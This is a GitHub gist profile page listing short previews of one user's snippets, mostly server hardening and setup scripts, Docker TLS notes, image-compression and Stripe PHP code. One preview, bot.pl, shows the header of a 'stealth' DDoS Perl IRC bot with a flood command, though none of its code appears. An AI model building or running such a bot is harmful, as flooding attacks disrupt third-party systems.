Skip to content

Instantly share code, notes, and snippets.

Avatar

Tyler Longren tlongren

View GitHub Profile
@tlongren
tlongren / README.md
Last active Nov 15, 2022 — forked from simonesestito/README.md
Server setup script
View README.md

Server initial setup script

Configuration

This script was made for personal purposes, but it can still be useful to many. You NEED to change variables inside the script, like the SSH public key.

Usage

On a new Ubuntu server, run the following command:

@tlongren
tlongren / hardenUbuntu.sh
Created Aug 21, 2022 — forked from lrobert/hardenUbuntu.sh
Ubuntu Base Server Configuration/Hardening Script
View hardenUbuntu.sh
#!/bin/bash
#
# Lee Robert's Base Ubuntu Installation script for use on Digital Ocean (Or any other ubuntu install really.)
# Made and tested with Ubuntu 13.04 64bit
#
# Steps:
# 01. Secure Root User
# 02. Make .bashrc print out pretty colors (and root's prompt will be red)
# 03. Create a local user
# 04. Update sudoers file so only root + local user can use sudo
@tlongren
tlongren / initial_lamp.sh
Created Aug 21, 2022 — forked from duan-li/initial_lamp.sh
Ubuntu 14.04 LTS apache php-fpm setup
View initial_lamp.sh
#!/bin/bash
if [ "$(id -u)" != "0" ]; then
echo "This script must be run as root" 1>&2
exit 1
fi
CURRENT_USER=$(id -u -n)
CURRENT_GROUP=$(id -g -n)
CURRENT_USER_HOME=$(eval echo ~${SUDO_USER})
@tlongren
tlongren / output.txt
Created Aug 19, 2020
Payton Blankflash Success
View output.txt
tyler:blankflash/ $ sudo ./qboot blank-flash $* [3:09:51]
Motorola qboot utility version 3.86
[ 0.000] Opening device: /dev/ttyUSB0
[ 0.000] Detecting device
[ 0.003] ...cpu.id = 172 (0xac)
[ 0.003] ...cpu.sn = 1271461894 (0x4bc8f806)
[ 0.003] Opening singleimage
[ 0.199] Loading package
[ 0.210] ...filename = pkg.xml
[ 0.216] Loading programmer
@tlongren
tlongren / portainer-dokku.md
Last active Feb 20, 2022 — forked from woudsma/portainer-dokku.md
TLS secured TCP exposed Docker daemon on Dokku host - setup
View portainer-dokku.md

TLS secured TCP exposed Docker daemon on Dokku host - setup

  1. Create certificates
  2. Edit Docker options
  3. Restart Docker
  4. Copy client certificates from host
  5. (optional) Add remote endpoint in Portainer

Tested on a standard $5/mo DigitalOcean VPS running Ubuntu 16.04.


@tlongren
tlongren / tinify.sh
Created Sep 28, 2017
Bash script to tinify images in a folder using the TinyPNG API
View tinify.sh
#!/bin/bash
TINYAPIKEY="YOUR_API_KEY"
# Make sure source dir is supplied
if [ -z "$1" ]
then
echo "Missing argument. Supply the source directory containing the images to be optimized. Usage: ./tiny.sh <source_dir>"
exit 1
fi
@tlongren
tlongren / addService.php
Last active Nov 25, 2021
Stripe Setup as of July 12
View addService.php
<?php
require_once("/srv/www/vpsstat.us/public_html/includes/stripe-php/lib/Stripe.php");
Stripe::setApiKey("sk_test_xxxxxxxxxxxxxxxxxxxxxxxx");
$token = ($_GET['stripeToken']) ?$_GET['stripeToken'] : $_POST['stripeToken'];
$customerDetails = get_customer_details($customer_id);
if (empty($customerDetails['stripe_id'])) {
$customer = Stripe_Customer::create(array(
"card" => $token,
"plan" => "standard",
"email" => $customerDetails['email']
View wordpress-hardening-techniques.md

Hardening WordPress

Securing WordPress using a combination of configuration changes and plugins.

.htaccess and wp-config.php tasks

1. Add keys to wp-config.php

2. Hide .htaccess and wp-config.php

View bot.pl
#!/usr/bin/perl
######################################################################################################################
######################################################################################################################
## DDoS Perl IrcBot v1.0 / 2012 by w0rmer Security Team ## [ Help ] #########################################
## Stealth MultiFunctional IrcBot writen in Perl #######################################################
## Teste on every system with PERL instlled ## !u @system ##
## ## !u @version ##
## This is a free program used on your own risk. ## !u @channel ##
## Created for educational purpose only. ## !u @flood ##
@tlongren
tlongren / example.php
Last active Dec 23, 2020
PHP Clean URL (SLUG) Generator
View example.php
<?php
$slug = slugit("thank you for visiting");
echo $slug;
// returns: thank-you-for-visiting
?>